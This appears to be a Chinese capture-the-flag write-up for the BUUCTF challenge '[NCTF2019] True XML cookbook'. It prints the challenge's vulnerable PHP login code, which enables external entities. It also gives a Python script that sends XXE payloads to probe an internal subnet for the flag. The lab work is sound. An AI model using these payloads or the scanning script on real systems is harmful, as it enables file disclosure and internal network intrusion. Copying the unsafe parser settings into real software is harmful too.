Loading

[BUUCTF题解][NCTF2019]True XML cookbook

### 知识点

  • XXE
  • 内网探测

过程

image-20220319130303948

一个登录框,但是没有提供注册功能。先收集下信息(扫目录+检查HTTP报文+查看初始页面HTML代码)。

image-20220319134611845

在尝试登录功能时可以看到请求与响应包的携带的数据都是XML格式,并且返回包中的msg标签值与请求包中的username标签值相同。尝试使用XXE,数据注入点在username标签(如果做过[NCTF2019]Fake XML cookbook就能肯定本题有关XXE)。

image-20220319135142235

成功执行了payload,接下来就是寻找flag所在,但是根目录中并没有flag文件。

image-20220319135511484

Login.php源码
<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/

$USERNAME = 'admin'; //账号
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码
$result = null;

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

try{
	$dom = new DOMDocument();
	$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
	$creds = simplexml_import_dom($dom);

	$username = $creds->username;
	$password = $creds->password;

	if($username == $USERNAME && $password == $PASSWORD){
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
	}else{
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
	}	
}catch(Exception $e){
	$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

并且已知的存在的php文件只有doLogin.php,其中也没有关于flag的信息。

image-20220319140652522

但是XML解释器支持多种协议,其中PHP就支持http和gopher,所以可能flag存在于内网主机上,我们需要通过XXE对内网进行探测。

image-20220319141012634

image-20220319141031561

获取下相关系统文件,对可疑的IP的网段进行下爆破(因为没研究过,所以只好把所有IP都探测下XD)。

import requests as res
url="http://0c8016ed-ef08-4127-ad08-37c2bcce842e.node4.buuoj.cn:81/doLogin.php"
rawPayload='<?xml version="1.0"?>'\
         '<!DOCTYPE user ['\
         '<!ENTITY payload1 SYSTEM "http://10.244.80.{}">'\
         ']>'\
         '<user>'\
         '<username>'\
         '&payload1;'\
         '</username>'\
         '<password>'\
         '23'\
         '</password>'\
         '</user>'
for i in range(1,256):
    payload=rawPayload.format(i)
    #payload=rawPayload
    print(str("#{} =>").format(i),end='')
    try:
        resp=res.post(url,data=payload,timeout=0.3)
    except:
        continue
    else:
        print(resp.text,end='')
    finally:
        print('')

因为找不到BrupSuite的Intruder模块怎么设置等待响应超时,所以只好写了个python脚本去爆破。

image-20220319141503269

在IP为10.244.80.130的主机上成功访问并获取到了flag。

posted @ 2022-03-19 15:27  Article_kelp  阅读(991)  评论(0编辑  收藏  举报